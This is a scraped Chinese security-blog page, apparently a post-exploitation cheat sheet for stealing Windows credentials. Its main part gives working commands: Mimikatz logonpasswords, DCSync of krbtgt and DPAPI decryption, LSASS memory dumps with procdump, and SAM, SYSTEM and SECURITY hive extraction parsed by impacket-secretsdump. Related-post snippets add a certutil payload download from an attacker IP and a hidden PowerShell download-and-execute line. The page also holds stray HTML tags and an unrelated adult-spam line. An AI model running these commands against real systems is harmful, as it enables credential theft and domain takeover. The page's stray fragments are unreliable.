<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    后滲透

    VSole2021-10-09 06:35:54

    LSASS保護

    LSASS 被配置為作為受保護進程 (PPL) 運行,您可以使用 PowerShell 進行查詢。

    Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL" 
    

    如果是這種情況,您不能只是轉儲或解析 LSASS,您需要使用類似mimidrv.sys,PPLDump等

    使用 Mimikatz 轉儲操作系統憑據

    # Dump logon passwords
    sekurlsa::logonpasswords
    
    # Dump all domain hashes from a DC
    ## Note: Everything with /patch is noisy as heck since it writes to LSASS ?
    lsadump::lsa /patch
    
    # Dump only local users
    lsadump::sam
    
    # DCSync (requires 'ldap' SPN)
    lsadump::dcsync /user:DOMAIN\krbtgt /domain:targetdomain.com
    
    # Dump Windows secrets, such as stored creds for scheduled tasks (elevate first) ?
    vault::list
    vault::cred /patch
    

    使用 Mimikatz 濫用數據保護 API (DPAPI)

    Mimikatz 有相當多的功能可以訪問 Windows 的 DPAPI,它用于加密許多憑據,例如瀏覽器密碼。

    需要注意的是Mimikatz會自動緩存主密鑰,有高速緩存dpapi::cache,但是這確實不是如果沒有Mimikatz會話持續工作(如鈷攻擊或使用時Invoke-Mimikatz)

    # Find the IDs of protected secrets for a specific user
    dir C:\Users\[USERNAME]\AppData\Local\Microsoft\Credentials
    
    # Get information, including the used master key ID, from a specific secret (take the path from above)
    dpapi::cred /in:C:\Users\[USERNAME]\AppData\Local\Microsoft\Credentials\1EF01CC92C17C670AC9E57B53C9134F3
    
    # IF YOU ARE PRIVILEGED
    # Dump all master keys from the current system
    sekurlsa::dpapi
    
    # IF YOU ARE NOT PRIVILEGED (session as target user required)
    # Get the master key from the domain using RPC (the path contains the user SID, and then the ID of the masterkey identified in the previous step)
    dpapi::masterkey /rpc /in:C:\Users\[USERNAME]\AppData\Roaming\Microsoft\Protect\S-1-5-21-3865823697-1816233505-1834004910-1124\dd89dddf-946b-4a80-9fd3-7f03ebd41ff4
    
    # Decrypt the secret using the retrieved master key
    # Alternatively, leave out /masterkey and add /unprotect to decrypt the secret using the cached master key (see above for caveats)
    dpapi::cred /in:C:\Users\[USERNAME]]\AppData\Local\Microsoft\Credentials\1EF01CC92C17C670AC9E57B53C9134F3 /masterkey:91721d8b1ec[...]e0f02c3e44deece5f318ad
    

    LSASS

    運行Mimikatz的首選方式是在本地進行,并從目標機上轉儲LSASS內存的副本。Dumpert、Procdump或其他(自定義)工具可用于轉儲LSASS內存。

    # Dump LSASS memory through a process snapshot (-r), avoiding interacting with it directly
    .\procdump.exe -r -ma lsass.exe lsass.dmp
    

    在我們的攻擊系統上下載內存轉儲文件后,我們可以運行Mimikatz并切換到 "Minidump "模式,以解析該文件,如下所示。在此之后,我們可以像往常一樣運行Mimikatz的憑證檢索命令。

    sekurlsa::minidump lsass.dmp
    

    從注冊表中轉儲

    我們可以從注冊表中轉儲機密并“離線”解析文件以獲取系統列表。

    reg.exe save hklm\sam c:\users\public\downloads\sam.save
    reg.exe save hklm\system c:\users\public\downloads\system.save
    reg.exe save hklm\security c:\users\public\downloads\security.save
    

    然后在我們的攻擊箱上,我們可以使用 Impacket 轉儲

    impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL > secrets.out
    

    從卷影副本Volume Shadow中轉儲

    我們還可以創建SAM和SYSTEM文件的“卷影副本” (它們始終鎖定在當前系統上)因此我們仍然可以將它們復制到我們的本地系統,為此需要提升提示。

    wmic shadowcopy call create Volume='C:\'copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\public\sam.savecopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\public\system.save
    
    systemmimikatz
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    干貨!!!
    全在域環境中,用戶信息存儲在域控的ntds.dit(C:\Windows\NTDS\NTDS.dit)中; 非域環境也就是在工作組環境中,當前主機用戶的密碼信息存儲著在sam文件(C:\Windows\System32\config\SAM)。 Windows操作系統通常使用兩種方法(LM和NTLM)對用戶的明文密碼進行加密處理。 LM只能存儲小于等于14個字符的密碼hash 如果密碼大于
    過程Set-ExecutionPolicy Unrestricted -Scope CurrentUser //設置腳本策略Import-Module .\Invoke-PSimage.ps1 //導入腳本模塊Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\mimikatz.png -Image .\demo.jpg -Web. 開啟一個目標可以訪問的web服務,加載生成的mimikatz.png圖片。修改 example.com改成自己的web服務地址。然后進行遠程加載即可。
    mimikatz的這個功能從本質上是解析Windows的數據庫文件,從而獲取其中存儲的用戶哈希。
    后滲透
    2021-10-09 06:35:54
    如果是這種情況,您不能只是轉儲或解析 LSASS,您需要使用類似mimidrv.sys,PPLDump等 使用 Mimikatz 轉儲操作系統憑據
    主要記錄拿到Shell后再反彈MSF Shell、Mimikatz抓取密碼以及登錄域控等內網部分。前面漏洞環境搭建及打點等不作記錄,可查看參考文章。攻擊機利用Python開啟HTTP服務$ python -m SimpleHTTPServer 8080. 靶機CMD下載木馬文件$ certutil.exe -urlcache -split -f http://<攻擊者IP>:8080/win.exe. [*] Started reverse TCP handler on <攻擊者IP>:<攻擊機監聽端口>. 并且需要遷移到權限為NT AUTHORITY\SYSTEM的進程,因為進程遷移后meterpreter的權限是遷移進程的權限。查看靶機位數&進程meterpreter > sysinfo # 查看位數。配置路由meterpreter > run autoroute -s 192.168.52.0/24. MS17-010掃一下MS17-010meterpreter > background # 后臺掛起Session
    拿下一臺運維機,上了個CS,發現曾經連接過幾臺服務器并且保存了憑據,網上查了圈發現CS不支持交互式mimikatz,記錄下獲取遠程主機RDP憑據。
    前言本篇介紹幾款優秀的Windows上的密碼抓取工具,每個工具都有自己的特點非常實用,歡迎補充。
    powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:8888/logo.gif'))\"" /f
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类